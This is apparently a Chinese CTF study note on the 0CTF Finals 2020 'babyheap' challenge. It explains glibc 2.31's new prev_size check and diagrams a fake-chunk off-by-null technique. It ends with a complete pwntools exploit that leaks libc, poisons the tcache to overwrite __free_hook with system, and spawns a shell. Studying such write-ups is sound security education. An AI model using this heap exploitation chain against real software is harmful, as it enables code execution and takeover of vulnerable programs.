原writeup把思路写得非常详细,这里不赘述了,提取一些巧妙的攻击思路分析和学习就行 https://hxp.io/blog/77/0CTF-Finals-2020-babyheap/
原题当时看了一下不太有思路,没有继续写下去。这题用了比较新的Glibc2.31,所以很多机制不太一样,利用手段需要改进,所以题面才会说“要更新你的技巧了”(好real的pwn,我喜欢,虽然我不会...)
原先(以Glibc2.27举例)利用unlink只需要满足如下三个条件:
所以,伪造的free_chunk的nextsize
并不需要和被free的chunk的prevsize
一样,这就导致了利用较为简单。但是Glibc2.31在向前合并过程中,unlink之前,添加了如下检测条件:
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}
所以如果上述nextsize
和prevsize
不同就会触发报错。这题的关键在于巧妙地构造“正常”的unlink过程,也就是在被free的chunk和被合并的chunk之间不夹带其它的chunk构成overlapping。但是因为chunk_info结构体在一段随机内存段上,不方便直接构造fd和bk,那么fd和bk就只能从被free后放入unsorted_bin产生的指针构造。but如果free即将被合并的chunk以产生fd, bk又和我们的目标——构造overlapping 背道而驰...
然后就引出了原writeup作者的方法
既然fd和bk不能直接通过free产生,那可以尝试使用一些“遗留”在堆内存上的指针——即换个思路,不直接伪造fd和bk,而是尝试伪造chunk头部的位置。
文章给出了一种利用“遗留”指针构造fake chunk的手法:
第一步
............... - chunk A
| |
| |
| |
............... - chunk B
| |
| |
| |
...............
第二步
...............
| (header ) |
| (new ptr) |
| |
| |
| |
| (old ptr) |
| |
| |
...............
第三步
...............
| (header ) |
| (new ptr) |
| |
| |
| |
| (old ptr) |
...............
| (header ) |
| |
...............
第四步
...............
| (header ) |
| (new ptr) |
| |
| |
...............
| (fake H ) |
| (old ptr) |
...............
| (header ) |
| |
...............
第五步
...............
| (header ) |
| (new ptr) |
| |
| |
...............
| (fake H ) |
| (old ptr) |
..................
| (header ) | |
| | | fake chunk范围
............... |
| (help ) | | <-溢出这个堆块构造下面的堆块(offbynull)
..................
| (header ) | <-伪造prev_size和prev_inuse位
| |
| |
...............
第六步
...............
| (header ) |
| (new ptr) |
| |
| |
...............
| (header ) |
| (old ptr) |
| |
| |
| |
| |
| (help ) |
................
| (header ) |
| |
| |
...............
第七步
python3
from pwn import *
p = process("./babyheap")
libc = ELF("./libc.so.6")
context.log_level = "debug"
def add(size:int):
p.recvuntil(b"Command: ")
p.sendline(b"1")
p.recvuntil(b"Size: ")
p.sendline(str(size).encode())
def update(idx:int, size:int, content):
p.recvuntil(b"Command: ")
p.sendline(b"2")
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode())
p.recvuntil(b"Size: ")
p.sendline(str(size).encode())
p.recvuntil(b"Content: ")
p.send(content)
def delete(idx:int):
p.recvuntil(b"Command: ")
p.sendline(b"3")
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode())
def view(idx:int):
p.recvuntil(b"Command: ")
p.sendline(b"4")
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode())
def go_exit():
p.recvuntil(b"Command: ")
p.sendline(b"5")
def exp():
#overlapping
add(0x508) #0 fd
add(0x48) #1
add(0x508) #2 extend
add(0x508) #3 setup
add(0x18) #4
add(0x508) #5 bk help
add(0x508) #6 bk
add(0x18) #7
#gdb.attach(p)
delete(0) #del0
delete(3) #del3
delete(6) #del6
delete(2) #del2
#gdb.attach(p)
add(0x508) #0
add(0x508) #2
add(0x530) #3 fake chunk
#gdb.attach(p)
delete(2) #del2
delete(5) #del5
#gdb.attach(p)
add(0x4d8) #2
add(0x530) #5
add(0x4d8) #6
#gdb.attach(p)
delete(0) #del0
delete(2) #del2
#gdb.attach(p)
add(0x508) #0
add(0x4d8) #2
#gdb.attach(p)
#build fake chunk
payload = b" "*0x508 + int(0x531).to_bytes(7, 'little')
update(3, len(payload), payload)
payload = b" "*8
update(0, len(payload), payload)
# prepare fake header and correct pointer
payload = b" "*0x4f8 + p64(0x521) + p64(0) + p64(0x511)
update(5, len(payload), payload)
#gdb.attach(p)
payload = b" "*0x10 + p64(0x530)
update(4, len(payload), payload)
#gdb.attach(p)
# merge fakechunk to overlapping
delete(5) #fd: 0x0000555555559490 bk: 0x000055555555a940
#gdb.attach(p)
#get the part near idx3
#make a glibc_addr into idx2
add(0x28)
#leak
view(2)
p.recvuntil(b"Chunk[2]: ")
libc_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
libc_base = libc_leak - 0x1ebbe0
system = libc_base + libc.symbols[b"system"]
free_hook = libc_base + 0x1eeb28
print("libc_leak:", hex(libc_leak))
print("libc_base:", hex(libc_base))
print("system:", hex(system))
print("free_hook:", hex(free_hook))
#tcache attack to rewrite free_hook
add(0x28) #8
add(0x28) #9
delete(9) #del8
delete(8) #del9
payload = p64(free_hook)
update(2, len(payload), payload)
#gdb.attach(p)
add(0x28) #8
add(0x28) #9
update(9, 8, p64(system))
gdb.attach(p)
#free idx8 to call system("/bin/sh\x00")
payload = b"/bin/sh\x00"
update(8, len(payload), payload)
delete(8)
p.interactive()
if __name__ == "__main__":
exp()